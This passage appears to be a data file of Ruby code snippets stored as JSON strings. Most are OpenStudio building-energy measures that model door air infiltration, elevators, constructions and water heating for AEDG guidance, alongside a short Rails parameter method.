Occupant Entry Infiltration With a Vestibule\"\r\n vestibuleFlag = false\r\n elsif infiltrationOccupant == \"Model Occupant Entry With a Vestibule\"\r\n vestibuleFlag = true\r\n else\r\n climateZoneNumber = OsLib_AedgMeasures.getClimateZoneNumber(model,runner)\r\n if climateZoneNumber == false\r\n return false\r\n elsif climateZoneNumber.to_f > 3\r\n vestibuleFlag = true\r\n elsif climateZoneNumber.to_f == 3\r\n building = model.getBuilding\r\n if building.floorArea > OpenStudio::convert(10000.0,\"ft^2\",\"m^2\").get\r\n vestibuleFlag = true\r\n end\r\n end\r\n end\r\n\r\n scheduleWeightHash = {} # make hash of schedules used for occupancy and then the number of people associated with it. Take instance multiplier into account\r\n nonRulesetScheduleWeighHash = {} # make hash of schedules used for occupancy and then the number of people associated with it. Take instance multiplier into account\r\n peopleInstances = model.getPeoples\r\n peopleInstances.each do |peopleInstance|\r\n\r\n # get value from def\r\n\r\n # get schedule\r\n if not peopleInstance.numberofPeopleSchedule.empty?\r\n\r\n # get floor area for spaceType or space\r\n if not peopleInstance.spaceType.empty?\r\n spaceArray = peopleInstance.spaceType.get.spaces\r\n else\r\n spaceArray = [peopleInstance.space.get] # making an array just so I can pass in what is expected to measure\r\n end\r\n schedule = peopleInstance.numberofPeopleSchedule.get\r\n floorArea = OsLib_HelperMethods.getAreaOfSpacesInArray(model,spaceArray,areaType = \"floorArea\")[\"totalArea\"]\r\n if not schedule.to_ScheduleRuleset.empty?\r\n if scheduleWeightHash[schedule]\r\n scheduleWeightHash[schedule] += peopleInstance.getNumberOfPeople(floorArea)\r\n else\r\n scheduleWeightHash[schedule] = peopleInstance.getNumberOfPeople(floorArea)\r\n end\r\n else # maybe use hash later to get proper number of people vs. just people related to ruleset schedules\r\n if nonRulesetScheduleWeighHash[schedule]\r\n nonRulesetScheduleWeighHash[schedule] += peopleInstance.getNumberOfPeople(floorArea)\r\n else\r\n nonRulesetScheduleWeighHash[schedule] = peopleInstance.getNumberOfPeople(floorArea)\r\n end\r\n runner.registerWarning(\"#{peopleInstance.name} uses '#{schedule.name}' as a schedule. It isn't a ScheduleRuleset object. That may affect the results of this measure.\")\r\n end\r\n else\r\n runner.registerWarning(\"#{peopleInstance.name} does not have a schedule associated with it.\")\r\n end\r\n end # end of peopleInstances.each do\r\n\r\n # get maxPeopleInBuilding with merged occupancy schedule\r\n mergedSchedule = OsLib_Schedules.weightedMergeScheduleRulesets(model, scheduleWeightHash)\r\n\r\n # get max value for merged occupancy schedule\r\n maxFractionMergedOccupancy = OsLib_Schedules.getMinMaxAnnualProfileValue(model, mergedSchedule[\"mergedSchedule\"])\r\n\r\n # create rate of change schedule from merged schedule\r\n rateOfChange = OsLib_Schedules.scheduleFromRateOfChange(model, mergedSchedule[\"mergedSchedule\"])\r\n\r\n # get max value for rate of change. this will help determine max people per hour\r\n maxFractionRateOfChange = OsLib_Schedules.getMinMaxAnnualProfileValue(model, rateOfChange)\r\n\r\n # misc inputs\r\n areaPerDoorOpening_ip = 21.0 #ft^2\r\n pressureDifferenceAcrossDoor_wc = pressureDifferenceAcrossDoor_pa/250 #wc\r\n typicalOperationHours = 12.0\r\n\r\n # get fraction for merge of occupancy schedule\r\n if doorOpeningEventsPerPerson <= 2.0\r\n fractionForRateOfChange = 1.0\r\n else\r\n fractionForRateOfChange = (2.0/doorOpeningEventsPerPerson)*0.6 # multiplier added to get closer to expected area under curve.\r\n end\r\n\r\n # merge the pre and post rate of change schedules together.\r\n mergedRateSchedule = OsLib_Schedules.weightedMergeScheduleRulesets(model, {mergedSchedule[\"mergedSchedule\"] =>(1.0 - fractionForRateOfChange),rateOfChange => fractionForRateOfChange})\r\n mergedRateSchedule[\"mergedSchedule\"].setName(\"Merged Rate of Change/Occupancy Hybrid\")\r\n\r\n # todo - until I can make the merge schedule script work on rules I'm going to hard code rule to with 0 value on weekends and summer\r\n runner.registerInfo(\"Occupant Entry Infiltration schedule based on default rule profile of people schedules. Hard coded to apply monday through friday, September 1st through June 30th.\")\r\n\r\n hybridSchedule = mergedRateSchedule[\"mergedSchedule\"]\r\n yearDescription = model.getYearDescription\r\n summerStart = yearDescription.makeDate(7,1)\r\n summerEnd = yearDescription.makeDate(8,31)\r\n\r\n # create weekend rule\r\n weekendRule = OpenStudio::Model::ScheduleRule.new(hybridSchedule)\r\n weekendRule.setApplySaturday(true)\r\n weekendRule.setApplySunday(true)\r\n\r\n # create summer rule\r\n summerRule = OpenStudio::Model::ScheduleRule.new(hybridSchedule)\r\n summerRule.setStartDate(summerStart)\r\n summerRule.setEndDate(summerEnd)\r\n summerRule.setApplySaturday(true)\r\n summerRule.setApplySunday(true)\r\n summerRule.setApplyMonday(true)\r\n summerRule.setApplyTuesday(true)\r\n summerRule.setApplyWednesday(true)\r\n summerRule.setApplyThursday(true)\r\n summerRule.setApplyFriday(true)\r\n\r\n # create schedule days to use with summer weekend and summer rules\r\n weekendProfile = weekendRule.daySchedule\r\n weekendProfile.addValue(OpenStudio::Time.new(0, 24, 0, 0),0.0)\r\n\r\n summerProfile = weekendRule.daySchedule\r\n summerProfile.addValue(OpenStudio::Time.new(0, 24, 0, 0),0.0)\r\n\r\n typicalPeopleInBuilding = mergedSchedule[\"denominator\"] * maxFractionMergedOccupancy[\"max\"] # this is max capacity from people objects * max annual schedule fraction value\r\n if num_entries > 0\r\n typicalAvgPeoplePerHour = (typicalPeopleInBuilding*doorOpeningEventsPerPerson)/(typicalOperationHours*num_entries)\r\n else\r\n typicalAvgPeoplePerHour = 0\r\n end\r\n\r\n #prepare rule hash for airflow coefficient. Uses people/hour/door as input\r\n rules = [] # [people per hour per door, airflow coef with vest, airflow coef without vest]\r\n finalPeoplePerHour = nil # this will be used a little later\r\n lowAbs = nil\r\n\r\n # values from ASHRAE Fundamentals 16.26 figure 16 for automatic doors with and without vestibules (people per hour per door, with vestibule, without)\r\n rules << [0.0,0.0,0.0]\r\n rules << [75.0,190.0,275.0]\r\n rules << [150.0,315.0,500.0]\r\n rules << [225.0,475.0,750.0]\r\n rules << [300.0,610.0,900.0]\r\n rules << [375.0,750.0,1100.0]\r\n rules << [450.0,850.0,1225.0]\r\n\r\n #make rule hash for cleaner code\r\n rulesHash = {}\r\n rules.each do |rule|\r\n rulesHash[rule[0]] = {\"vestibule\" => rule[1],\"noVestibule\" => rule[2]}\r\n end\r\n\r\n # get airflow coef from rules\r\n if vestibuleFlag then hashValue = \"vestibule\" else hashValue = \"noVestibule\" end\r\n\r\n # get rule above and below target people per hour and interpolate airflow coefficient\r\n lower = nil\r\n upper = nil\r\n target = typicalAvgPeoplePerHour # calculated earlier\r\n rulesHash.each do |peoplePerHour,values|\r\n if target >= peoplePerHour then lower = peoplePerHour end\r\n if target <= peoplePerHour\r\n upper = peoplePerHour\r\n next\r\n end\r\n end\r\n if lower.nil? then lower = 0 end\r\n if upper.nil? then upper = 450.0 end\r\n range = upper-lower\r\n airflowCoefficient = ((upper - target)/range)*rulesHash[lower][hashValue] + ((target - lower)/range)*rulesHash[upper][hashValue]\r\n\r\n # Method 2 formula for occupant entry airflow rate from 16.26 of the 2013 ASHRAE Fundamentals\r\n airFlowRateCfm = num_entries*airflowCoefficient*areaPerDoorOpening_ip*(Math.sqrt(pressureDifferenceAcrossDoor_wc))\r\n airFlowRate_si = OpenStudio::convert(airFlowRateCfm,\"ft^3\",\"m^3\").get/60 # couldn't direct get CFM to m^3/s\r\n runner.registerInfo(\"Objects representing #{OpenStudio::toNeatString(airFlowRate_si,2,true)}(cfm) of infiltration will be added to spaces on #{story.name}. Calculated with an airflow coefficent of #{OpenStudio::toNeatString(airflowCoefficient,0,true)} for each door That was calculated on a max door events per hour per door of #{OpenStudio::toNeatString(num_entries,0,true)}. Occupancy schedules in your model were used to both determine the airflow coefficient and to create a custom schedule to use the this infiltration object.\")\r\n if vestibuleFlag\r\n runner.registerInfo(\"While infiltration at primary occupant entries is based on using vestibules, vestibule geometry was not added to the model. Per K12 AEDG how to implement recommendation EN18 interior and exterior doors should have a minimum distance between them of not less than 16 ft when in the closed position.\")\r\n end\r\n\r\n # find floor area selected floor spaces\r\n areaForOccupantEntryInfiltration_si = OsLib_HelperMethods.getAreaOfSpacesInArray(model,story.spaces)\r\n\r\n # hash to pass into infiltration method\r\n options_OsLib_OutdoorAirAndInfiltration_entry = {\r\n \"nameSuffix\" => \" - occupant entry infiltration\", # add this to object name for infiltration\r\n \"schedule\" => mergedRateSchedule[\"mergedSchedule\"], # this will set schedule set for selected object\r\n \"setCalculationMethod\" => \"setFlowperSpaceFloorArea\",\r\n \"valueForSelectedCalcMethod\" => airFlowRate_si/areaForOccupantEntryInfiltration_si[\"totalArea\"],\r\n }\r\n\r\n # add in new envelope infiltration to all spaces in the model\r\n newInfiltrationPerFloorArea = OsLib_OutdoorAirAndInfiltration.addSpaceInfiltrationDesignFlowRate(model,runner,story.spaces, options_OsLib_OutdoorAirAndInfiltration_entry)\r\n\r\n # create lifecycle costs for floors\r\n entryImprovementTotalCost = 0\r\n totalArea = areaForOccupantEntryInfiltration_si[\"totalArea\"]\r\n storySpaceHash = areaForOccupantEntryInfiltration_si[\"spaceAreaHash\"]\r\n newInfiltrationPerFloorArea.each do |infiltrationObject|\r\n space = infiltrationObject.space.get\r\n fractionOfTotal = storySpaceHash[space]/totalArea\r\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"#{space.name} - Entry Infiltration Cost\", space, fractionOfTotal*costTotalEntryInfiltration, \"CostPerEach\", \"Construction\", expected_life, years_until_costs_start)\r\n entryImprovementTotalCost += lcc_mat.get.totalCost\r\n end\r\n\r\n # populate AEDG tip keys\r\n aedgTips = []\r\n\r\n # always need tip 17\r\n aedgTips.push(\"EN17\")\r\n\r\n if vestibuleFlag\r\n aedgTips.push(\"EN18\")\r\n end\r\n\r\n # don't really need not applicable flag on this measure, any building with spaces will be affected\r\n\r\n # populate how to tip messages\r\n aedgTipsLong = OsLib_AedgMeasures.getLongHowToTips(\"K12\",aedgTips.uniq.sort,runner)\r\n if not aedgTipsLong\r\n return false # this should only happen if measure writer passes bad values to getLongHowToTips\r\n end\r\n\r\n #reporting final condition of model\r\n space_infiltration_objects = model.getSpaceInfiltrationDesignFlowRates\r\n if space_infiltration_objects.size > 0\r\n runner.registerFinalCondition(\"The final model contains #{space_infiltration_objects.size} space infiltration objects. Cost was increased by $#{OpenStudio::toNeatString(envelopeImprovementTotalCost,2,true)} for envelope infiltration, and $#{OpenStudio::toNeatString(entryImprovementTotalCost,2,true)} for occupant entry infiltration. #{aedgTipsLong}\")\r\n else\r\n runner.registerFinalCondition(\"The final model does not contain any space infiltration objects. Cost was increased by $#{OpenStudio::toNeatString(envelopeImprovementTotalCost,2,true)} for envelope infiltration, and $#{OpenStudio::toNeatString(envelopeImprovementTotalCost,2,true)} for occupant entry infiltration. #{aedgTipsLong}\")\r\n end\r\n\r\n return true\r\n \r\n end",
"def run_params\n params.require(:run).permit(:start, :duration, :runner_id, :category_id)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n args = {}\n args['add_constructions'] = runner.getBoolArgumentValue('add_constructions', user_arguments)\n args['wall_roof_construction_template'] = runner.getStringArgumentValue('wall_roof_construction_template', user_arguments)\n args['window_construction_template'] = runner.getStringArgumentValue('window_construction_template', user_arguments)\n args['add_space_type_loads'] = runner.getBoolArgumentValue('add_space_type_loads', user_arguments)\n args['add_elevators'] = runner.getBoolArgumentValue('add_elevators', user_arguments)\n args['elev_spaces'] = runner.getStringArgumentValue('elev_spaces', user_arguments)\n args['elevator_type'] = runner.getStringArgumentValue('elevator_type', user_arguments)\n args['add_exterior_lights'] = runner.getBoolArgumentValue('add_exterior_lights', user_arguments)\n args['onsite_parking_fraction'] = runner.getDoubleArgumentValue('onsite_parking_fraction', user_arguments)\n args['add_constructions'] = runner.getBoolArgumentValue('add_constructions', user_arguments)\n args['add_internal_mass'] = runner.getBoolArgumentValue('add_internal_mass', user_arguments)\n args['add_thermostat'] = runner.getBoolArgumentValue('add_thermostat', user_arguments)\n args['add_swh'] = runner.getBoolArgumentValue('add_swh', user_arguments)\n args['swh_type'] = runner.getStringArgumentValue('swh_type', user_arguments)\n args['add_hvac'] = runner.getBoolArgumentValue('add_hvac', user_arguments)\n args['hvac_system_type'] = runner.getStringArgumentValue('hvac_system_type', user_arguments)\n #args['remove_objects'] = runner.getBoolArgumentValue('remove_objects', user_arguments)\n args['remove_objects'] = false\n\n # validate fraction parking\n fraction = OsLib_HelperMethods.checkDoubleAndIntegerArguments(runner, user_arguments, 'min' => 0.0, 'max' => 1.0, 'min_eq_bool' => true, 'max_eq_bool' => true, 'arg_array' => ['onsite_parking_fraction'])\n if !fraction then return false end\n\n\n # report initial condition of model\n initial_objects = model.getModelObjects.size\n runner.registerInitialCondition(\"The building started with #{initial_objects} objects.\")\n\n # open channel to log messages\n reset_log\n\n # remap residential building types and add ventilation\n model.getSpaceTypes.each do |space_type|\n if space_type.standardsSpaceType.get.to_s == \"living\"\n space_type.setStandardsSpaceType(\"Apartment\")\n end\n end\n\n # Make the standard appliers\n standard = Standard.build('ZE AEDG Multifamily')\n\n # get climate zone for model\n climate_zone = standard.model_standards_climate_zone(model)\n if climate_zone.empty?\n runner.registerError('Climate zone could not be determined. Please set climate zone in the model.')\n log_messages_to_runner(runner, debug = true)\n return false\n else\n runner.registerInfo(\"Using climate zone #{climate_zone} from model\")\n end\n\n # identify primary building type (used for construction, and ideally HVAC as well)\n # hard coded for this measure instead of identifying building type that represents the largest building area\n lookup_building_type = 'MidriseApartment'\n primary_bldg_type = lookup_building_type\n model.getBuilding.setStandardsBuildingType(lookup_building_type)\n\n # make construction set and apply to building\n if args['add_constructions']\n\n # remove default construction sets\n if args['remove_objects']\n model.getDefaultConstructionSets.each(&:remove)\n end\n # remove hard assigned constructions (wwr measures can hard assign constructions)\n model.getPlanarSurfaces.each do |surface|\n surface.resetConstruction\n end\n\n if ['SmallHotel', 'LargeHotel', 'MidriseApartment', 'HighriseApartment'].include?(primary_bldg_type)\n is_residential = 'Yes'\n else\n is_residential = 'No'\n end\n climate_zone = standard.model_get_building_climate_zone_and_building_type(model)['climate_zone']\n bldg_def_const_set = standard.model_add_construction_set(model, climate_zone, lookup_building_type, nil, is_residential)\n if bldg_def_const_set.is_initialized\n bldg_def_const_set = bldg_def_const_set.get\n if is_residential then bldg_def_const_set.setName(\"Res #{bldg_def_const_set.name}\") end\n model.getBuilding.setDefaultConstructionSet(bldg_def_const_set)\n runner.registerInfo(\"Adding default construction set named #{bldg_def_const_set.name}\")\n else\n runner.registerError(\"Could not create default construction set for the building type #{lookup_building_type} in climate zone #{climate_zone}.\")\n log_messages_to_runner(runner, debug = true)\n return false\n end\n\n # address any adiabatic surfaces that don't have hard assigned constructions\n model.getSurfaces.each do |surface|\n next if surface.outsideBoundaryCondition != 'Adiabatic'\n next if surface.construction.is_initialized\n surface.setAdjacentSurface(surface)\n surface.setConstruction(surface.construction.get)\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n\n # Modify the infiltration rates\n if args['remove_objects']\n model.getSpaceInfiltrationDesignFlowRates.each(&:remove)\n end\n standard.model_apply_infiltration_standard(model)\n standard.model_modify_infiltration_coefficients(model, primary_bldg_type, climate_zone)\n\n # set ground temperatures from DOE prototype buildings\n standard.model_add_ground_temperatures(model, primary_bldg_type, climate_zone)\n\n # load construction sets for parametrics\n translator = OpenStudio::OSVersion::VersionTranslator.new\n ospath = OpenStudio::Path.new(\"#{File.dirname(__FILE__)}/resources/ze_aedg_multifamily_parametric_construction_sets.osm\")\n construction_set_model = translator.loadModel(ospath)\n construction_set_model = construction_set_model.get\n # add construction sets to model\n construction_set = construction_set_model.getDefaultConstructionSetByName(\"90.1-2019 - #{climate_zone}\").get\n construction_set.clone(model).to_DefaultConstructionSet.get\n construction_set = construction_set_model.getDefaultConstructionSetByName(\"Good - #{climate_zone}\").get\n construction_set.clone(model).to_DefaultConstructionSet.get\n construction_set = construction_set_model.getDefaultConstructionSetByName(\"Better - #{climate_zone}\").get\n construction_set.clone(model).to_DefaultConstructionSet.get\n\n # reset the wall and roof constructions based on the user-selected construction template\n if args['wall_roof_construction_template'] == 'ZE AEDG Multifamily Recommendations' && args['window_construction_template'] == 'ZE AEDG Multifamily Recommendations'\n runner.registerInfo(\"Keeping #{args['wall_roof_construction_template']}; keeping 'ZE AEDG Multifamily' constructions.\")\n else\n runner.registerInfo(\"Applying #{args['wall_roof_construction_template']} roof and wall constructions and #{args['window_construction_template']} window constructions.\")\n if args['wall_roof_construction_template'] == args['window_construction_template']\n construction_set_lookup = \"#{args['wall_roof_construction_template']} - #{climate_zone}\"\n new_construction_set = model.getDefaultConstructionSetByName(construction_set_lookup).get\n model.getBuilding.setDefaultConstructionSet(new_construction_set)\n else\n # combine construction sets\n new_construction_set = model.getBuilding.defaultConstructionSet.get.clone(model).to_DefaultConstructionSet.get\n new_construction_set.setName(\"#{args['wall_roof_construction_template']} walls and roofs and #{args['window_construction_template']} windows - #{climate_zone}\")\n\n # change wall and roof properties if necessary\n unless args['wall_roof_construction_template'] == 'ZE AEDG Multifamily Recommendations'\n construction_set_lookup = \"#{args['wall_roof_construction_template']} - #{climate_zone}\"\n wall_roof_construction_set = model.getDefaultConstructionSetByName(construction_set_lookup).get\n ext_surf_set = wall_roof_construction_set.defaultExteriorSurfaceConstructions.get\n new_construction_set.setDefaultExteriorSurfaceConstructions(ext_surf_set)\n end\n\n # change window properties if necessary\n unless args['window_construction_template'] == 'ZE AEDG Multifamily Recommendations'\n construction_set_lookup = \"#{args['window_construction_template']} - #{climate_zone}\"\n window_construction_set = model.getDefaultConstructionSetByName(construction_set_lookup).get\n sub_surf_set = window_construction_set.defaultExteriorSubSurfaceConstructions.get\n new_construction_set.setDefaultExteriorSubSurfaceConstructions(sub_surf_set)\n end\n\n # assign default construction set to the building\n model.getBuilding.setDefaultConstructionSet(new_construction_set)\n end\n end\n end\n\n # add internal loads to space types\n if args['add_space_type_loads']\n\n # remove internal loads\n if args['remove_objects']\n model.getSpaceLoads.each do |instance|\n next if instance.name.to_s.include?('Elevator') # most prototype building types model exterior elevators with name Elevator\n next if instance.to_InternalMass.is_initialized\n next if instance.to_WaterUseEquipment.is_initialized\n instance.remove\n end\n model.getDesignSpecificationOutdoorAirs.each(&:remove)\n model.getDefaultScheduleSets.each(&:remove)\n end\n\n model.getSpaceTypes.each do |space_type|\n # Don't add infiltration here; will be added later in the script\n if space_type.standardsSpaceType.get.to_s == \"Apartment\"\n # only add ventilation\n test = standard.space_type_apply_internal_loads(space_type, false, false, false, false, true, false)\n else\n test = standard.space_type_apply_internal_loads(space_type, true, true, true, true, true, false)\n end\n if test == false\n runner.registerWarning(\"Could not add loads for #{space_type.name}. Not expected for #{args['template']}\")\n next\n end\n\n # apply internal load schedules\n # the last bool test it to make thermostat schedules. They are now added in HVAC section instead of here\n if space_type.standardsSpaceType.get.to_s == \"Apartment\"\n # only add ventilation\n test = standard.space_type_apply_internal_load_schedules(space_type, false, false, false, false, true, false, false)\n else\n test = standard.space_type_apply_internal_load_schedules(space_type, true, true, true, true, true, true, false)\n end\n if test == false\n runner.registerWarning(\"Could not add schedules for #{space_type.name}. Not expected for #{args['template']}\")\n next\n end\n\n # extend space type name to include the args['template']. Consider this as well for load defs\n space_type.setName(\"#{space_type.name} - #{args['template']}\")\n runner.registerInfo(\"Adding loads to space type named #{space_type.name}\")\n end\n\n # warn if spaces in model without space type\n spaces_without_space_types = []\n model.getSpaces.each do |space|\n next if space.spaceType.is_initialized\n spaces_without_space_types << space\n end\n unless spaces_without_space_types.empty?\n runner.registerWarning(\"#{spaces_without_space_types.size} spaces do not have space types assigned, and wont' receive internal loads from standards space type lookups.\")\n end\n end\n\n # add elevators (returns ElectricEquipment object)\n if args['add_elevators']\n\n # remove elevators as spaceLoads or exteriorLights\n model.getSpaceLoads.each do |instance|\n next unless instance.name.to_s.include?('Elevator') # most prototype building types model exterior elevators with name Elevator\n instance.remove\n end\n model.getExteriorLightss.each do |ext_light|\n next unless ext_light.name.to_s.include?('Fuel equipment') # some prototype building types model exterior elevators by this name\n ext_light.remove\n end\n\n # number of elevators\n space_names = args['elev_spaces'].split(',')\n spaces = []\n space_names.sort.each do |name|\n spaces << model.getSpaceByName(name).get\n end\n number_of_elevators = spaces.size\n\n # determine blended occupancy schedule\n # todo - code to create schedules copied from standards. Break that out in standards into method that can be called from here\n occ_schedule = standard.spaces_get_occupancy_schedule(model.getSpaces)\n\n # get total number of people in building\n max_occ_in_spaces = 0\n model.getSpaces.each do |space|\n # From the space type\n if space.spaceType.is_initialized\n space.spaceType.get.people.each do |people|\n num_ppl = people.getNumberOfPeople(space.floorArea)\n max_occ_in_spaces += num_ppl\n end\n end\n # From the space\n space.people.each do |people|\n num_ppl = people.getNumberOfPeople(space.floorArea)\n max_occ_in_spaces += num_ppl\n end\n end\n\n # make elevator schedule based on change in occupancy for each timestep\n day_schedules = []\n default_day_schedule = occ_schedule.defaultDaySchedule\n day_schedules << default_day_schedule\n occ_schedule.scheduleRules.each do |rule|\n day_schedules << rule.daySchedule\n end\n day_schedules.each do |day_schedule|\n elevator_hourly_fractions = []\n (0..23).each do |hr|\n t = OpenStudio::Time.new(0, hr, 0, 0)\n value = day_schedule.getValue(t)\n t_plus = OpenStudio::Time.new(0, hr + 1, 0, 0)\n value_plus = day_schedule.getValue(t_plus)\n change_occupancy_fraction = (value_plus - value).abs\n change_num_people = change_occupancy_fraction * max_occ_in_spaces * 1.2\n # multiplication factor or 1.2 to account for interfloor traffic\n\n # determine time per ride based on number of floors and elevator type\n elevator_type = args['elevator_type']\n effective_num_stories = standard.model_effective_num_stories(model)\n if elevator_type == 'Hydraulic'\n time_per_ride = 8.7 + (effective_num_stories[:above_grade] * 5.6)\n elsif elevator_type == 'Traction'\n time_per_ride = 5.6 + (effective_num_stories[:above_grade] * 2.1)\n else\n OpenStudio.logFree(OpenStudio::Error, 'openstudio.prototype.elevators', \"Elevator type #{elevator_type} not recognized.\")\n return nil\n end\n\n # determine elevator operation fraction for each timestep\n people_per_ride = 5\n rides_per_elevator = (change_num_people / people_per_ride) / number_of_elevators\n operation_time = rides_per_elevator * time_per_ride\n elevator_operation_fraction = operation_time / 3600\n if elevator_operation_fraction > 1.00\n elevator_operation_fraction = 1.00\n end\n elevator_hourly_fractions << elevator_operation_fraction\n end\n\n # replace hourly occupancy values with operating fractions\n day_schedule.clearValues\n (0..23).each do |hr|\n t = OpenStudio::Time.new(0, hr, 0, 0)\n value = elevator_hourly_fractions[hr]\n value_plus = if hr <= 22\n elevator_hourly_fractions[hr + 1]\n else\n elevator_hourly_fractions[0]\n end\n next if value == value_plus\n day_schedule.addValue(t, elevator_hourly_fractions[hr])\n end\n end\n\n occ_schedule.setName('Elevator Schedule')\n\n # clone new elevator schedule and assign to elevator\n elev_sch = occ_schedule.clone(model)\n elevator_schedule = elev_sch.name.to_s\n\n # For elevator lights and fan, assume 100% operation during hours that elevator fraction > 0 (when elevator is in operation).\n # elevator lights\n lights_sch = occ_schedule.clone(model)\n lights_sch = lights_sch.to_ScheduleRuleset.get\n profiles = []\n profiles << lights_sch.defaultDaySchedule\n rules = lights_sch.scheduleRules\n rules.each do |rule|\n profiles << rule.daySchedule\n end\n profiles.each do |profile|\n times = profile.times\n values = profile.values\n values.each_with_index do |val, i|\n if val > 0\n profile.addValue(times[i], 1.0)\n end\n end\n end\n elevator_lights_schedule = lights_sch.name.to_s\n\n # elevator fan\n fan_sch = occ_schedule.clone(model)\n fan_sch = fan_sch.to_ScheduleRuleset.get\n profiles = []\n profiles << fan_sch.defaultDaySchedule\n rules = fan_sch.scheduleRules\n rules.each do |rule|\n profiles << rule.daySchedule\n end\n profiles.each do |profile|\n times = profile.times\n values = profile.values\n values.each_with_index do |val, i|\n if val > 0\n profile.addValue(times[i], 1.0)\n end\n end\n end\n elevator_fan_schedule = fan_sch.name.to_s\n\n # orig loads from first space\n orig_loads = []\n new_loads = []\n spaces.first.electricEquipment.each do |equip|\n orig_loads << equip\n end\n\n # make an elevator for each space\n elevators = nil\n spaces.each do |space|\n if elevators.nil?\n elevators = standard.model_add_elevator(model,space, number_of_elevators, args['elevator_type'], elevator_schedule, elevator_fan_schedule, elevator_lights_schedule)\n if elevators.nil?\n runner.registerInfo('No elevators added to the building.')\n else\n elevator_def = elevators.electricEquipmentDefinition\n design_level = elevator_def.designLevel.get\n runner.registerInfo(\"Adding #{number_of_elevators} elevators with combined power of #{OpenStudio.toNeatString(design_level, 0, true)} (W), plus lights and fans.\")\n # todo confirm if we want fraction lost for all elevators\n elevator_def.setFractionLost(1.0)\n elevator_def.setFractionRadiant(0.0)\n\n # adjust multipliers to 1 for new loads\n space.electricEquipment.each do |equip|\n next if orig_loads.include?(equip)\n equip.setName(equip.name.get.gsub(number_of_elevators.to_i.to_s,space.name.to_s))\n equip.setMultiplier(1.0) #orig multiplier is number of elevators\n new_loads << equip\n end\n end\n else\n new_loads.each do |equip|\n old_name = equip.name\n new_name = equip.name.get.gsub(spaces.first.name.to_s,space.name.to_s)\n new_equip = equip.clone(model).to_SpaceItem.get\n new_equip.setSpace(space)\n new_equip.setName(new_name)\n end\n end\n end\n end\n\n # add exterior lights (returns a hash where key is lighting type and value is exteriorLights object)\n if args['add_exterior_lights']\n\n if args['remove_objects']\n model.getExteriorLightss.each do |ext_light|\n next if ext_light.name.to_s.include?('Fuel equipment') # some prototype building types model exterior elevators by this name\n ext_light.remove\n end\n end\n\n exterior_lights = standard.model_add_typical_exterior_lights(model, 3, args['onsite_parking_fraction'])\n exterior_lights.each do |k, v|\n runner.registerInfo(\"Adding Exterior Lights named #{v.exteriorLightsDefinition.name} with design level of #{v.exteriorLightsDefinition.designLevel} * #{OpenStudio.toNeatString(v.multiplier, 0, true)}.\")\n end\n end\n\n # add internal mass\n if args['add_internal_mass']\n\n if args['remove_objects']\n model.getSpaceLoads.each do |instance|\n next unless instance.to_InternalMass.is_initialized\n instance.remove\n end\n end\n\n # add internal mass to conditioned spaces; needs to happen after thermostats are applied\n standard.model_add_internal_mass(model, primary_bldg_type)\n end\n\n # switch back living space types so I don't alter thermostats or\n model.getSpaceTypes.each do |space_type|\n if space_type.standardsSpaceType.get.to_s == \"Apartment\"\n space_type.setStandardsSpaceType(\"living\")\n end\n end\n\n # add thermostats\n if args['add_thermostat']\n\n # remove thermostats\n if args['remove_objects']\n model.getThermostatSetpointDualSetpoints.each(&:remove)\n end\n\n model.getSpaceTypes.each do |space_type|\n # create thermostat schedules\n # skip un-recognized space types\n next if standard.space_type_get_standards_data(space_type).empty?\n # the last bool test it to make thermostat schedules. They are added to the model but not assigned\n standard.space_type_apply_internal_load_schedules(space_type, false, false, false, false, false, false, true)\n\n # identify thermal thermostat and apply to zones (apply_internal_load_schedules names )\n model.getThermostatSetpointDualSetpoints.each do |thermostat|\n next if thermostat.name.to_s != \"#{space_type.name} Thermostat\"\n next unless thermostat.coolingSetpointTemperatureSchedule.is_initialized\n next unless thermostat.heatingSetpointTemperatureSchedule.is_initialized\n runner.registerInfo(\"Assigning #{thermostat.name} to thermal zones with #{space_type.name} assigned.\")\n space_type.spaces.each do |space|\n next unless space.thermalZone.is_initialized\n space.thermalZone.get.setThermostatSetpointDualSetpoint(thermostat)\n end\n end\n end\n end\n\n # add service water heating demand and supply\n if args['add_swh']\n\n # remove water use equipment and water use connections\n if args['remove_objects']\n # TODO: - remove plant loops used for service water heating\n model.getWaterUseEquipments.each(&:remove)\n model.getWaterUseConnectionss.each(&:remove)\n end\n\n unless model.getWaterHeaterMixeds.empty?\n hpwh_cop = 2.8\n eff_f_of_plr = OpenStudio::Model::CurveCubic.new(model)\n eff_f_of_plr.setName(\"HPWH_COP_#{hpwh_cop}\")\n eff_f_of_plr.setCoefficient1Constant(hpwh_cop)\n eff_f_of_plr.setCoefficient2x(0.0)\n eff_f_of_plr.setCoefficient3xPOW2(0.0)\n eff_f_of_plr.setCoefficient4xPOW3(0.0)\n eff_f_of_plr.setMinimumValueofx(0.0)\n eff_f_of_plr.setMaximumValueofx(1.0)\n model.getWaterHeaterMixeds.each do |water_heater|\n water_heater.setHeaterFuelType('Electricity')\n water_heater.setHeaterThermalEfficiency(1.0)\n water_heater.setPartLoadFactorCurve(eff_f_of_plr)\n water_heater.setOffCycleParasiticFuelConsumptionRate(0.0)\n water_heater.setOnCycleParasiticFuelConsumptionRate(0.0)\n water_heater.setOffCycleParasiticFuelType('Electricity')\n water_heater.setOnCycleParasiticFuelType('Electricity')\n water_heater.setOffCycleLossCoefficienttoAmbientTemperature(1.053)\n water_heater.setOnCycleLossCoefficienttoAmbientTemperature(1.053)\n end\n end\n\n typical_swh = standard.model_add_typical_swh(model, water_heater_fuel: args['swh_type'])\n midrise_swh_loops = []\n stripmall_swh_loops = []\n typical_swh.each do |loop|\n if loop.name.get.include?('MidriseApartment')\n midrise_swh_loops << loop\n elsif loop.name.get.include?('RetailStripmall')\n stripmall_swh_loops << loop\n else\n water_use_connections = []\n loop.demandComponents.each do |component|\n next unless component.to_WaterUseConnections.is_initialized\n water_use_connections << component\n end\n runner.registerInfo(\"Adding #{loop.name} to the building. It has #{water_use_connections.size} water use connections.\")\n end\n end\n unless midrise_swh_loops.empty?\n runner.registerInfo(\"Adding #{midrise_swh_loops.size} MidriseApartment service water heating loops.\")\n end\n unless stripmall_swh_loops.empty?\n runner.registerInfo(\"Adding #{stripmall_swh_loops.size} RetailStripmall service water heating loops.\")\n end\n end\n\n # make windows in apartments operable\n runner.registerInfo(\"Making apartment windows operable. 